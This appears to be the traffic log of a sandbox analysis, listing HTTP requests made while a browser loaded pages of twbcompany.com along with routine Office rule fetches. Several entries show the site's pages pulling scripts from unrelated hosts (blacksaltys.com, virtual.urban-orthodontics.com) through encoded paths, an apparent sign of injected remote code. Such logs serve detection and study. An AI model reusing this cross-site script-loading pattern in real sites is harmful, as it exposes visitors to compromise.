Source: global traffic	HTTP traffic detected: GET /2016/wp-content/uploads/2018/04/Liftgate.jpg HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.twbcompany.com/products/aluminum-tailor-welded-blanks/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1314529000.1728303014; _gid=GA1.2.1855941040.1728303014; _gat=1; browserupdateorg=pause; _gd_visitor=5e9bfaf0-8ea6-4f46-812a-70a9d9bba360; _gd_session=2821918b-9d64-448f-8711-bb8bc4873408; _ga_E694J4CV2M=GS1.2.1728303016.1.1.1728303036.0.0.0
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/uploads/2018/04/Member-Floor-Side-Inner-Front-Frt-Rail-Upr_CD391.jpg HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.twbcompany.com/products/aluminum-tailor-welded-blanks/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1314529000.1728303014; _gid=GA1.2.1855941040.1728303014; _gat=1; browserupdateorg=pause; _gd_visitor=5e9bfaf0-8ea6-4f46-812a-70a9d9bba360; _gd_session=2821918b-9d64-448f-8711-bb8bc4873408; _ga_E694J4CV2M=GS1.2.1728303016.1.1.1728303044.0.0.0
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/uploads/2015/08/door-inner-with-header.jpg HTTP/1.1Host: www.twbcompany.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1314529000.1728303014; _gid=GA1.2.1855941040.1728303014; _gat=1; browserupdateorg=pause; _gd_visitor=5e9bfaf0-8ea6-4f46-812a-70a9d9bba360; _gd_session=2821918b-9d64-448f-8711-bb8bc4873408; _ga_E694J4CV2M=GS1.2.1728303016.1.1.1728303044.0.0.0
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/uploads/2018/03/AlTB-RH-side-mbr.jpg HTTP/1.1Host: www.twbcompany.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1314529000.1728303014; _gid=GA1.2.1855941040.1728303014; _gat=1; browserupdateorg=pause; _gd_visitor=5e9bfaf0-8ea6-4f46-812a-70a9d9bba360; _gd_session=2821918b-9d64-448f-8711-bb8bc4873408; _ga_E694J4CV2M=GS1.2.1728303016.1.1.1728303044.0.0.0
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/uploads/2018/02/AlTB-Door-hinge-Reinf-RH.jpg HTTP/1.1Host: www.twbcompany.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1314529000.1728303014; _gid=GA1.2.1855941040.1728303014; _gat=1; browserupdateorg=pause; _gd_visitor=5e9bfaf0-8ea6-4f46-812a-70a9d9bba360; _gd_session=2821918b-9d64-448f-8711-bb8bc4873408; _ga_E694J4CV2M=GS1.2.1728303016.1.1.1728303044.0.0.0
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/uploads/2015/08/door-inner-headerless.jpg HTTP/1.1Host: www.twbcompany.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1314529000.1728303014; _gid=GA1.2.1855941040.1728303014; _gat=1; browserupdateorg=pause; _gd_visitor=5e9bfaf0-8ea6-4f46-812a-70a9d9bba360; _gd_session=2821918b-9d64-448f-8711-bb8bc4873408; _ga_E694J4CV2M=GS1.2.1728303016.1.1.1728303044.0.0.0
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/uploads/2018/04/AlTB-Tunnel-AA6014.jpg HTTP/1.1Host: www.twbcompany.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1314529000.1728303014; _gid=GA1.2.1855941040.1728303014; _gat=1; browserupdateorg=pause; _gd_visitor=5e9bfaf0-8ea6-4f46-812a-70a9d9bba360; _gd_session=2821918b-9d64-448f-8711-bb8bc4873408; _ga_E694J4CV2M=GS1.2.1728303016.1.1.1728303044.0.0.0
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/uploads/2018/04/Liftgate.jpg HTTP/1.1Host: www.twbcompany.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1314529000.1728303014; _gid=GA1.2.1855941040.1728303014; _gat=1; browserupdateorg=pause; _gd_visitor=5e9bfaf0-8ea6-4f46-812a-70a9d9bba360; _gd_session=2821918b-9d64-448f-8711-bb8bc4873408; _ga_E694J4CV2M=GS1.2.1728303016.1.1.1728303044.0.0.0
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/uploads/2018/04/Member-Floor-Side-Inner-Front-Frt-Rail-Upr_CD391.jpg HTTP/1.1Host: www.twbcompany.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1314529000.1728303014; _gid=GA1.2.1855941040.1728303014; _gat=1; browserupdateorg=pause; _gd_visitor=5e9bfaf0-8ea6-4f46-812a-70a9d9bba360; _gd_session=2821918b-9d64-448f-8711-bb8bc4873408; _ga_E694J4CV2M=GS1.2.1728303016.1.1.1728303044.0.0.0
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /services/forming-analysis/ HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1314529000.1728303014; _gid=GA1.2.1855941040.1728303014; _gat=1; browserupdateorg=pause; _gd_visitor=5e9bfaf0-8ea6-4f46-812a-70a9d9bba360; _gd_session=2821918b-9d64-448f-8711-bb8bc4873408; _ga_E694J4CV2M=GS1.2.1728303016.1.1.1728303044.0.0.0
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /2xIsQSDP8CyeXrv78zk9FGV8lZIj9SXKVc-Mpx3O5H0 HTTP/1.1Host: blacksaltys.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.twbcompany.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.8.7 HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.twbcompany.com/services/forming-analysis/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1314529000.1728303014; _gid=GA1.2.1855941040.1728303014; _gat=1; browserupdateorg=pause; _gd_visitor=5e9bfaf0-8ea6-4f46-812a-70a9d9bba360; _gd_session=2821918b-9d64-448f-8711-bb8bc4873408; _ga_E694J4CV2M=GS1.2.1728303016.1.1.1728303044.0.0.0
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/plugins/contact-form-7/includes/swv/js/index.js?ver=5.8.7 HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.twbcompany.com/services/forming-analysis/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1314529000.1728303014; _gid=GA1.2.1855941040.1728303014; _gat=1; browserupdateorg=pause; _gd_visitor=5e9bfaf0-8ea6-4f46-812a-70a9d9bba360; _gd_session=2821918b-9d64-448f-8711-bb8bc4873408; _ga_E694J4CV2M=GS1.2.1728303016.1.1.1728303044.0.0.0
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/plugins/contact-form-7/includes/js/index.js?ver=5.8.7 HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.twbcompany.com/services/forming-analysis/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1314529000.1728303014; _gid=GA1.2.1855941040.1728303014; _gat=1; browserupdateorg=pause; _gd_visitor=5e9bfaf0-8ea6-4f46-812a-70a9d9bba360; _gd_session=2821918b-9d64-448f-8711-bb8bc4873408; _ga_E694J4CV2M=GS1.2.1728303016.1.1.1728303044.0.0.0
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SzlpnTAbCvQvG1OvfQpFvzkbU78xQAX7O1sfvzY= HTTP/1.1Host: virtual.urban-orthodontics.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.twbcompany.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/uploads/2015/08/forming-analysis-hero.jpg HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.twbcompany.com/services/forming-analysis/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1314529000.1728303014; _gid=GA1.2.1855941040.1728303014; _gat=1; browserupdateorg=pause; _gd_visitor=5e9bfaf0-8ea6-4f46-812a-70a9d9bba360; _gd_session=2821918b-9d64-448f-8711-bb8bc4873408; _ga_E694J4CV2M=GS1.2.1728303016.1.1.1728303044.0.0.0
Source: global traffic	HTTP traffic detected: GET /2xIsQSDP8CyeXrv78zk9FGV8lZIj9SXKVc-Mpx3O5H0 HTTP/1.1Host: blacksaltys.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/uploads/2015/08/forming-analysis-hero.jpg HTTP/1.1Host: www.twbcompany.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1314529000.1728303014; _gid=GA1.2.1855941040.1728303014; _gat=1; browserupdateorg=pause; _gd_visitor=5e9bfaf0-8ea6-4f46-812a-70a9d9bba360; _gd_session=2821918b-9d64-448f-8711-bb8bc4873408; _ga_E694J4CV2M=GS1.2.1728303016.1.1.1728303044.0.0.0
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /services/product-design/ HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1314529000.1728303014; _gid=GA1.2.1855941040.1728303014; _gat=1; browserupdateorg=pause; _gd_visitor=5e9bfaf0-8ea6-4f46-812a-70a9d9bba360; _gd_session=2821918b-9d64-448f-8711-bb8bc4873408; _ga_E694J4CV2M=GS1.2.1728303016.1.1.1728303050.0.0.0
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
